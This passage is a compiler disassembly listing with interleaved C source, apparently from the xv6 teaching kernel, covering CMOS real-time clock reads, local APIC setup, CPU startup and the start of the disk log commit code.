asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801025fe: bb 71 00 00 00 mov $0x71,%ebx
80102603: 89 da mov %ebx,%edx
80102605: ec in (%dx),%al
static uint cmos_read(uint reg)
{
outb(CMOS_PORT, reg);
microdelay(200);
return inb(CMOS_RETURN);
80102606: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102609: b2 70 mov $0x70,%dl
8010260b: 89 01 mov %eax,(%ecx)
8010260d: b8 02 00 00 00 mov $0x2,%eax
80102612: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102613: 89 da mov %ebx,%edx
80102615: ec in (%dx),%al
80102616: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102619: b2 70 mov $0x70,%dl
8010261b: 89 41 04 mov %eax,0x4(%ecx)
8010261e: b8 04 00 00 00 mov $0x4,%eax
80102623: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102624: 89 da mov %ebx,%edx
80102626: ec in (%dx),%al
80102627: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010262a: b2 70 mov $0x70,%dl
8010262c: 89 41 08 mov %eax,0x8(%ecx)
8010262f: b8 07 00 00 00 mov $0x7,%eax
80102634: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102635: 89 da mov %ebx,%edx
80102637: ec in (%dx),%al
80102638: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010263b: b2 70 mov $0x70,%dl
8010263d: 89 41 0c mov %eax,0xc(%ecx)
80102640: b8 08 00 00 00 mov $0x8,%eax
80102645: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102646: 89 da mov %ebx,%edx
80102648: ec in (%dx),%al
80102649: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010264c: b2 70 mov $0x70,%dl
8010264e: 89 41 10 mov %eax,0x10(%ecx)
80102651: b8 09 00 00 00 mov $0x9,%eax
80102656: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102657: 89 da mov %ebx,%edx
80102659: ec in (%dx),%al
8010265a: 0f b6 d8 movzbl %al,%ebx
8010265d: 89 59 14 mov %ebx,0x14(%ecx)
r->minute = cmos_read(MINS);
r->hour = cmos_read(HOURS);
r->day = cmos_read(DAY);
r->month = cmos_read(MONTH);
r->year = cmos_read(YEAR);
}
80102660: 5b pop %ebx
80102661: 5d pop %ebp
80102662: c3 ret
80102663: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102669: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102670 <lapicinit>:
//PAGEBREAK!
void
lapicinit(void)
{
if(!lapic)
80102670: a1 9c 26 11 80 mov 0x8011269c,%eax
}
//PAGEBREAK!
void
lapicinit(void)
{
80102675: 55 push %ebp
80102676: 89 e5 mov %esp,%ebp
if(!lapic)
80102678: 85 c0 test %eax,%eax
8010267a: 0f 84 c0 00 00 00 je 80102740 <lapicinit+0xd0>
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102680: c7 80 f0 00 00 00 3f movl $0x13f,0xf0(%eax)
80102687: 01 00 00
lapic[ID]; // wait for write to finish, by reading
8010268a: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010268d: c7 80 e0 03 00 00 0b movl $0xb,0x3e0(%eax)
80102694: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102697: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010269a: c7 80 20 03 00 00 20 movl $0x20020,0x320(%eax)
801026a1: 00 02 00
lapic[ID]; // wait for write to finish, by reading
801026a4: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
801026a7: c7 80 80 03 00 00 80 movl $0x989680,0x380(%eax)
801026ae: 96 98 00
lapic[ID]; // wait for write to finish, by reading
801026b1: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
801026b4: c7 80 50 03 00 00 00 movl $0x10000,0x350(%eax)
801026bb: 00 01 00
lapic[ID]; // wait for write to finish, by reading
801026be: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
801026c1: c7 80 60 03 00 00 00 movl $0x10000,0x360(%eax)
801026c8: 00 01 00
lapic[ID]; // wait for write to finish, by reading
801026cb: 8b 50 20 mov 0x20(%eax),%edx
lapicw(LINT0, MASKED);
lapicw(LINT1, MASKED);
// Disable performance counter overflow interrupts
// on machines that provide that interrupt entry.
if(((lapic[VER]>>16) & 0xFF) >= 4)
801026ce: 8b 50 30 mov 0x30(%eax),%edx
801026d1: c1 ea 10 shr $0x10,%edx
801026d4: 80 fa 03 cmp $0x3,%dl
801026d7: 77 6f ja 80102748 <lapicinit+0xd8>
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
801026d9: c7 80 70 03 00 00 33 movl $0x33,0x370(%eax)
801026e0: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801026e3: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
801026e6: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax)
801026ed: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801026f0: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
801026f3: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax)
801026fa: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801026fd: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102700: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax)
80102707: 00 00 00
lapic[ID]; // wait for write to finish, by reading
8010270a: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010270d: c7 80 10 03 00 00 00 movl $0x0,0x310(%eax)
80102714: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102717: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010271a: c7 80 00 03 00 00 00 movl $0x88500,0x300(%eax)
80102721: 85 08 00
lapic[ID]; // wait for write to finish, by reading
80102724: 8b 50 20 mov 0x20(%eax),%edx
80102727: 90 nop
lapicw(EOI, 0);
// Send an Init Level De-Assert to synchronise arbitration ID's.
lapicw(ICRHI, 0);
lapicw(ICRLO, BCAST | INIT | LEVEL);
while(lapic[ICRLO] & DELIVS)
80102728: 8b 90 00 03 00 00 mov 0x300(%eax),%edx
8010272e: 80 e6 10 and $0x10,%dh
80102731: 75 f5 jne 80102728 <lapicinit+0xb8>
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102733: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax)
8010273a: 00 00 00
lapic[ID]; // wait for write to finish, by reading
8010273d: 8b 40 20 mov 0x20(%eax),%eax
while(lapic[ICRLO] & DELIVS)
;
// Enable interrupts on the APIC (but not on the processor).
lapicw(TPR, 0);
}
80102740: 5d pop %ebp
80102741: c3 ret
80102742: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102748: c7 80 40 03 00 00 00 movl $0x10000,0x340(%eax)
8010274f: 00 01 00
lapic[ID]; // wait for write to finish, by reading
80102752: 8b 50 20 mov 0x20(%eax),%edx
80102755: eb 82 jmp 801026d9 <lapicinit+0x69>
80102757: 89 f6 mov %esi,%esi
80102759: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102760 <cpunum>:
lapicw(TPR, 0);
}
int
cpunum(void)
{
80102760: 55 push %ebp
80102761: 89 e5 mov %esp,%ebp
80102763: 56 push %esi
80102764: 53 push %ebx
80102765: 83 ec 10 sub $0x10,%esp
static inline uint
readeflags(void)
{
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
80102768: 9c pushf
80102769: 58 pop %eax
// Cannot call cpu when interrupts are enabled:
// result not guaranteed to last long enough to be used!
// Would prefer to panic but even printing is chancy here:
// almost everything, including cprintf and panic, calls cpu,
// often indirectly through acquire and release.
if(readeflags()&FL_IF){
8010276a: f6 c4 02 test $0x2,%ah
8010276d: 74 12 je 80102781 <cpunum+0x21>
static int n;
if(n++ == 0)
8010276f: a1 b8 a5 10 80 mov 0x8010a5b8,%eax
80102774: 8d 50 01 lea 0x1(%eax),%edx
80102777: 85 c0 test %eax,%eax
80102779: 89 15 b8 a5 10 80 mov %edx,0x8010a5b8
8010277f: 74 4a je 801027cb <cpunum+0x6b>
cprintf("cpu called from %x with interrupts enabled\n",
__builtin_return_address(0));
}
if (!lapic)
80102781: a1 9c 26 11 80 mov 0x8011269c,%eax
80102786: 85 c0 test %eax,%eax
80102788: 74 5d je 801027e7 <cpunum+0x87>
return 0;
apicid = lapic[ID] >> 24;
8010278a: 8b 58 20 mov 0x20(%eax),%ebx
for (i = 0; i < ncpu; ++i) {
8010278d: 8b 35 80 2d 11 80 mov 0x80112d80,%esi
}
if (!lapic)
return 0;
apicid = lapic[ID] >> 24;
80102793: c1 eb 18 shr $0x18,%ebx
for (i = 0; i < ncpu; ++i) {
80102796: 85 f6 test %esi,%esi
80102798: 7e 56 jle 801027f0 <cpunum+0x90>
if (cpus[i].apicid == apicid)
8010279a: 0f b6 05 a0 27 11 80 movzbl 0x801127a0,%eax
801027a1: 39 d8 cmp %ebx,%eax
801027a3: 74 42 je 801027e7 <cpunum+0x87>
801027a5: ba 5c 28 11 80 mov $0x8011285c,%edx
if (!lapic)
return 0;
apicid = lapic[ID] >> 24;
for (i = 0; i < ncpu; ++i) {
801027aa: 31 c0 xor %eax,%eax
801027ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801027b0: 83 c0 01 add $0x1,%eax
801027b3: 39 f0 cmp %esi,%eax
801027b5: 74 39 je 801027f0 <cpunum+0x90>
if (cpus[i].apicid == apicid)
801027b7: 0f b6 0a movzbl (%edx),%ecx
801027ba: 81 c2 bc 00 00 00 add $0xbc,%edx
801027c0: 39 d9 cmp %ebx,%ecx
801027c2: 75 ec jne 801027b0 <cpunum+0x50>
return i;
}
panic("unknown apicid\n");
}
801027c4: 83 c4 10 add $0x10,%esp
801027c7: 5b pop %ebx
801027c8: 5e pop %esi
801027c9: 5d pop %ebp
801027ca: c3 ret
// almost everything, including cprintf and panic, calls cpu,
// often indirectly through acquire and release.
if(readeflags()&FL_IF){
static int n;
if(n++ == 0)
cprintf("cpu called from %x with interrupts enabled\n",
801027cb: 8b 45 04 mov 0x4(%ebp),%eax
801027ce: c7 04 24 20 74 10 80 movl $0x80107420,(%esp)
801027d5: 89 44 24 04 mov %eax,0x4(%esp)
801027d9: e8 72 de ff ff call 80100650 <cprintf>
__builtin_return_address(0));
}
if (!lapic)
801027de: a1 9c 26 11 80 mov 0x8011269c,%eax
801027e3: 85 c0 test %eax,%eax
801027e5: 75 a3 jne 8010278a <cpunum+0x2a>
for (i = 0; i < ncpu; ++i) {
if (cpus[i].apicid == apicid)
return i;
}
panic("unknown apicid\n");
}
801027e7: 83 c4 10 add $0x10,%esp
cprintf("cpu called from %x with interrupts enabled\n",
__builtin_return_address(0));
}
if (!lapic)
return 0;
801027ea: 31 c0 xor %eax,%eax
for (i = 0; i < ncpu; ++i) {
if (cpus[i].apicid == apicid)
return i;
}
panic("unknown apicid\n");
}
801027ec: 5b pop %ebx
801027ed: 5e pop %esi
801027ee: 5d pop %ebp
801027ef: c3 ret
apicid = lapic[ID] >> 24;
for (i = 0; i < ncpu; ++i) {
if (cpus[i].apicid == apicid)
return i;
}
panic("unknown apicid\n");
801027f0: c7 04 24 4c 74 10 80 movl $0x8010744c,(%esp)
801027f7: e8 64 db ff ff call 80100360 <panic>
801027fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102800 <lapiceoi>:
// Acknowledge interrupt.
void
lapiceoi(void)
{
if(lapic)
80102800: a1 9c 26 11 80 mov 0x8011269c,%eax
}
// Acknowledge interrupt.
void
lapiceoi(void)
{
80102805: 55 push %ebp
80102806: 89 e5 mov %esp,%ebp
if(lapic)
80102808: 85 c0 test %eax,%eax
8010280a: 74 0d je 80102819 <lapiceoi+0x19>
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010280c: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax)
80102813: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102816: 8b 40 20 mov 0x20(%eax),%eax
void
lapiceoi(void)
{
if(lapic)
lapicw(EOI, 0);
}
80102819: 5d pop %ebp
8010281a: c3 ret
8010281b: 90 nop
8010281c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102820 <microdelay>:
// Spin for a given number of microseconds.
// On real hardware would want to tune this dynamically.
void
microdelay(int us)
{
80102820: 55 push %ebp
80102821: 89 e5 mov %esp,%ebp
}
80102823: 5d pop %ebp
80102824: c3 ret
80102825: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102829: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102830 <lapicstartap>:
// Start additional processor running entry code at addr.
// See Appendix B of MultiProcessor Specification.
void
lapicstartap(uchar apicid, uint addr)
{
80102830: 55 push %ebp
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102831: ba 70 00 00 00 mov $0x70,%edx
80102836: 89 e5 mov %esp,%ebp
80102838: b8 0f 00 00 00 mov $0xf,%eax
8010283d: 53 push %ebx
8010283e: 8b 4d 08 mov 0x8(%ebp),%ecx
80102841: 8b 5d 0c mov 0xc(%ebp),%ebx
80102844: ee out %al,(%dx)
80102845: b8 0a 00 00 00 mov $0xa,%eax
8010284a: b2 71 mov $0x71,%dl
8010284c: ee out %al,(%dx)
// and the warm reset vector (DWORD based at 40:67) to point at
// the AP startup code prior to the [universal startup algorithm]."
outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code
outb(CMOS_PORT+1, 0x0A);
wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector
wrv[0] = 0;
8010284d: 31 c0 xor %eax,%eax
8010284f: 66 a3 67 04 00 80 mov %ax,0x80000467
wrv[1] = addr >> 4;
80102855: 89 d8 mov %ebx,%eax
80102857: c1 e8 04 shr $0x4,%eax
8010285a: 66 a3 69 04 00 80 mov %ax,0x80000469
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102860: a1 9c 26 11 80 mov 0x8011269c,%eax
wrv[0] = 0;
wrv[1] = addr >> 4;
// "Universal startup algorithm."
// Send INIT (level-triggered) interrupt to reset other CPU.
lapicw(ICRHI, apicid<<24);
80102865: c1 e1 18 shl $0x18,%ecx
// when it is in the halted state due to an INIT. So the second
// should be ignored, but it is part of the official Intel algorithm.
// Bochs complains about the second one. Too bad for Bochs.
for(i = 0; i < 2; i++){
lapicw(ICRHI, apicid<<24);
lapicw(ICRLO, STARTUP | (addr>>12));
80102868: c1 eb 0c shr $0xc,%ebx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010286b: 89 88 10 03 00 00 mov %ecx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
80102871: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102874: c7 80 00 03 00 00 00 movl $0xc500,0x300(%eax)
8010287b: c5 00 00
lapic[ID]; // wait for write to finish, by reading
8010287e: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102881: c7 80 00 03 00 00 00 movl $0x8500,0x300(%eax)
80102888: 85 00 00
lapic[ID]; // wait for write to finish, by reading
8010288b: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010288e: 89 88 10 03 00 00 mov %ecx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
80102894: 8b 50 20 mov 0x20(%eax),%edx
// when it is in the halted state due to an INIT. So the second
// should be ignored, but it is part of the official Intel algorithm.
// Bochs complains about the second one. Too bad for Bochs.
for(i = 0; i < 2; i++){
lapicw(ICRHI, apicid<<24);
lapicw(ICRLO, STARTUP | (addr>>12));
80102897: 89 da mov %ebx,%edx
80102899: 80 ce 06 or $0x6,%dh
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010289c: 89 90 00 03 00 00 mov %edx,0x300(%eax)
lapic[ID]; // wait for write to finish, by reading
801028a2: 8b 58 20 mov 0x20(%eax),%ebx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
801028a5: 89 88 10 03 00 00 mov %ecx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
801028ab: 8b 48 20 mov 0x20(%eax),%ecx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
801028ae: 89 90 00 03 00 00 mov %edx,0x300(%eax)
lapic[ID]; // wait for write to finish, by reading
801028b4: 8b 40 20 mov 0x20(%eax),%eax
for(i = 0; i < 2; i++){
lapicw(ICRHI, apicid<<24);
lapicw(ICRLO, STARTUP | (addr>>12));
microdelay(200);
}
}
801028b7: 5b pop %ebx
801028b8: 5d pop %ebp
801028b9: c3 ret
801028ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801028c0 <cmostime>:
r->year = cmos_read(YEAR);
}
// qemu seems to use 24-hour GWT and the values are BCD encoded
void cmostime(struct rtcdate *r)
{
801028c0: 55 push %ebp
801028c1: ba 70 00 00 00 mov $0x70,%edx
801028c6: 89 e5 mov %esp,%ebp
801028c8: b8 0b 00 00 00 mov $0xb,%eax
801028cd: 57 push %edi
801028ce: 56 push %esi
801028cf: 53 push %ebx
801028d0: 83 ec 4c sub $0x4c,%esp
801028d3: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801028d4: b2 71 mov $0x71,%dl
801028d6: ec in (%dx),%al
801028d7: 88 45 b7 mov %al,-0x49(%ebp)
801028da: 8d 5d b8 lea -0x48(%ebp),%ebx
struct rtcdate t1, t2;
int sb, bcd;
sb = cmos_read(CMOS_STATB);
bcd = (sb & (1 << 2)) == 0;
801028dd: 80 65 b7 04 andb $0x4,-0x49(%ebp)
801028e1: 8d 7d d0 lea -0x30(%ebp),%edi
801028e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801028e8: be 70 00 00 00 mov $0x70,%esi
// make sure CMOS doesn't modify time while we read it
for(;;) {
fill_rtcdate(&t1);
801028ed: 89 d8 mov %ebx,%eax
801028ef: e8 fc fc ff ff call 801025f0 <fill_rtcdate>
801028f4: b8 0a 00 00 00 mov $0xa,%eax
801028f9: 89 f2 mov %esi,%edx
801028fb: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801028fc: ba 71 00 00 00 mov $0x71,%edx
80102901: ec in (%dx),%al
if(cmos_read(CMOS_STATA) & CMOS_UIP)
80102902: 84 c0 test %al,%al
80102904: 78 e7 js 801028ed <cmostime+0x2d>
continue;
fill_rtcdate(&t2);
80102906: 89 f8 mov %edi,%eax
80102908: e8 e3 fc ff ff call 801025f0 <fill_rtcdate>
if(memcmp(&t1, &t2, sizeof(t1)) == 0)
8010290d: c7 44 24 08 18 00 00 movl $0x18,0x8(%esp)
80102914: 00
80102915: 89 7c 24 04 mov %edi,0x4(%esp)
80102919: 89 1c 24 mov %ebx,(%esp)
8010291c: e8 4f 1c 00 00 call 80104570 <memcmp>
80102921: 85 c0 test %eax,%eax
80102923: 75 c3 jne 801028e8 <cmostime+0x28>
break;
}
// convert
if(bcd) {
80102925: 80 7d b7 00 cmpb $0x0,-0x49(%ebp)
80102929: 75 78 jne 801029a3 <cmostime+0xe3>
#define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf))
CONV(second);
8010292b: 8b 45 b8 mov -0x48(%ebp),%eax
8010292e: 89 c2 mov %eax,%edx
80102930: 83 e0 0f and $0xf,%eax
80102933: c1 ea 04 shr $0x4,%edx
80102936: 8d 14 92 lea (%edx,%edx,4),%edx
80102939: 8d 04 50 lea (%eax,%edx,2),%eax
8010293c: 89 45 b8 mov %eax,-0x48(%ebp)
CONV(minute);
8010293f: 8b 45 bc mov -0x44(%ebp),%eax
80102942: 89 c2 mov %eax,%edx
80102944: 83 e0 0f and $0xf,%eax
80102947: c1 ea 04 shr $0x4,%edx
8010294a: 8d 14 92 lea (%edx,%edx,4),%edx
8010294d: 8d 04 50 lea (%eax,%edx,2),%eax
80102950: 89 45 bc mov %eax,-0x44(%ebp)
CONV(hour );
80102953: 8b 45 c0 mov -0x40(%ebp),%eax
80102956: 89 c2 mov %eax,%edx
80102958: 83 e0 0f and $0xf,%eax
8010295b: c1 ea 04 shr $0x4,%edx
8010295e: 8d 14 92 lea (%edx,%edx,4),%edx
80102961: 8d 04 50 lea (%eax,%edx,2),%eax
80102964: 89 45 c0 mov %eax,-0x40(%ebp)
CONV(day );
80102967: 8b 45 c4 mov -0x3c(%ebp),%eax
8010296a: 89 c2 mov %eax,%edx
8010296c: 83 e0 0f and $0xf,%eax
8010296f: c1 ea 04 shr $0x4,%edx
80102972: 8d 14 92 lea (%edx,%edx,4),%edx
80102975: 8d 04 50 lea (%eax,%edx,2),%eax
80102978: 89 45 c4 mov %eax,-0x3c(%ebp)
CONV(month );
8010297b: 8b 45 c8 mov -0x38(%ebp),%eax
8010297e: 89 c2 mov %eax,%edx
80102980: 83 e0 0f and $0xf,%eax
80102983: c1 ea 04 shr $0x4,%edx
80102986: 8d 14 92 lea (%edx,%edx,4),%edx
80102989: 8d 04 50 lea (%eax,%edx,2),%eax
8010298c: 89 45 c8 mov %eax,-0x38(%ebp)
CONV(year );
8010298f: 8b 45 cc mov -0x34(%ebp),%eax
80102992: 89 c2 mov %eax,%edx
80102994: 83 e0 0f and $0xf,%eax
80102997: c1 ea 04 shr $0x4,%edx
8010299a: 8d 14 92 lea (%edx,%edx,4),%edx
8010299d: 8d 04 50 lea (%eax,%edx,2),%eax
801029a0: 89 45 cc mov %eax,-0x34(%ebp)
#undef CONV
}
*r = t1;
801029a3: 8b 4d 08 mov 0x8(%ebp),%ecx
801029a6: 8b 45 b8 mov -0x48(%ebp),%eax
801029a9: 89 01 mov %eax,(%ecx)
801029ab: 8b 45 bc mov -0x44(%ebp),%eax
801029ae: 89 41 04 mov %eax,0x4(%ecx)
801029b1: 8b 45 c0 mov -0x40(%ebp),%eax
801029b4: 89 41 08 mov %eax,0x8(%ecx)
801029b7: 8b 45 c4 mov -0x3c(%ebp),%eax
801029ba: 89 41 0c mov %eax,0xc(%ecx)
801029bd: 8b 45 c8 mov -0x38(%ebp),%eax
801029c0: 89 41 10 mov %eax,0x10(%ecx)
801029c3: 8b 45 cc mov -0x34(%ebp),%eax
801029c6: 89 41 14 mov %eax,0x14(%ecx)
r->year += 2000;
801029c9: 81 41 14 d0 07 00 00 addl $0x7d0,0x14(%ecx)
}
801029d0: 83 c4 4c add $0x4c,%esp
801029d3: 5b pop %ebx
801029d4: 5e pop %esi
801029d5: 5f pop %edi
801029d6: 5d pop %ebp
801029d7: c3 ret
801029d8: 66 90 xchg %ax,%ax
801029da: 66 90 xchg %ax,%ax
801029dc: 66 90 xchg %ax,%ax
801029de: 66 90 xchg %ax,%ax
801029e0 <install_trans>:
}
// Copy committed blocks from log to their home location
static void
install_trans(void)
{
801029e0: 55 push %ebp
801029e1: 89 e5 mov %esp,%ebp
801029e3: 57 push %edi
801029e4: 56 push %esi
801029e5: 53 push %ebx
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
801029e6: 31 db xor %ebx,%ebx
}
// Copy committed blocks from log to their home location
static void
install_trans(void)
{
801029e8: 83 ec 1c sub $0x1c,%esp
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
801029eb: a1 e8 26 11 80 mov 0x801126e8,%eax
801029f0: 85 c0 test %eax,%eax
801029f2: 7e 78 jle 80102a6c <install_trans+0x8c>
801029f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
801029f8: a1 d4 26 11 80 mov 0x801126d4,%eax
801029fd: 01 d8 add %ebx,%eax
801029ff: 83 c0 01 add $0x1,%eax
80102a02: 89 44 24 04 mov %eax,0x4(%esp)
80102a06: a1 e4 26 11 80 mov 0x801126e4,%eax
80102a0b: 89 04 24 mov %eax,(%esp)
80102a0e: e8 bd d6 ff ff call 801000d0 <bread>
80102a13: 89 c7 mov %eax,%edi
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
80102a15: 8b 04 9d ec 26 11 80 mov -0x7feed914(,%ebx,4),%eax
static void
install_trans(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80102a1c: 83 c3 01 add $0x1,%ebx
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
80102a1f: 89 44 24 04 mov %eax,0x4(%esp)
80102a23: a1 e4 26 11 80 mov 0x801126e4,%eax
80102a28: 89 04 24 mov %eax,(%esp)
80102a2b: e8 a0 d6 ff ff call 801000d0 <bread>
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
80102a30: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
80102a37: 00
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
80102a38: 89 c6 mov %eax,%esi
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
80102a3a: 8d 47 5c lea 0x5c(%edi),%eax
80102a3d: 89 44 24 04 mov %eax,0x4(%esp)
80102a41: 8d 46 5c lea 0x5c(%esi),%eax
80102a44: 89 04 24 mov %eax,(%esp)
80102a47: e8 84 1b 00 00 call 801045d0 <memmove>
bwrite(dbuf); // write dst to disk
80102a4c: 89 34 24 mov %esi,(%esp)
80102a4f: e8 4c d7 ff ff call 801001a0 <bwrite>
brelse(lbuf);
80102a54: 89 3c 24 mov %edi,(%esp)
80102a57: e8 84 d7 ff ff call 801001e0 <brelse>
brelse(dbuf);
80102a5c: 89 34 24 mov %esi,(%esp)
80102a5f: e8 7c d7 ff ff call 801001e0 <brelse>
static void
install_trans(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80102a64: 39 1d e8 26 11 80 cmp %ebx,0x801126e8
80102a6a: 7f 8c jg 801029f8 <install_trans+0x18>
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
bwrite(dbuf); // write dst to disk
brelse(lbuf);
brelse(dbuf);
}
}
80102a6c: 83 c4 1c add $0x1c,%esp
80102a6f: 5b pop %ebx
80102a70: 5e pop %esi
80102a71: 5f pop %edi
80102a72: 5d pop %ebp
80102a73: c3 ret
80102a74: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102a7a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80102a80 <write_head>:
// Write in-memory log header to disk.
// This is the true point at which the
// current transaction commits.
static void
write_head(void)
{
80102a80: 55 push %ebp
80102a81: 89 e5 mov %esp,%ebp
80102a83: 57 push %edi
80102a84: 56 push %esi
80102a85: 53 push %ebx
80102a86: 83 ec 1c sub $0x1c,%esp
struct buf *buf = bread(log.dev, log.start);
80102a89: a1 d4 26 11 80 mov 0x801126d4,%eax
80102a8e: 89 44 24 04 mov %eax,0x4(%esp)
80102a92: a1 e4 26 11 80 mov 0x801126e4,%eax
80102a97: 89 04 24 mov %eax,(%esp)
80102a9a: e8 31 d6 ff ff call 801000d0 <bread>
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
80102a9f: 8b 1d e8 26 11 80 mov 0x801126e8,%ebx
for (i = 0; i < log.lh.n; i++) {
80102aa5: 31 d2 xor %edx,%edx
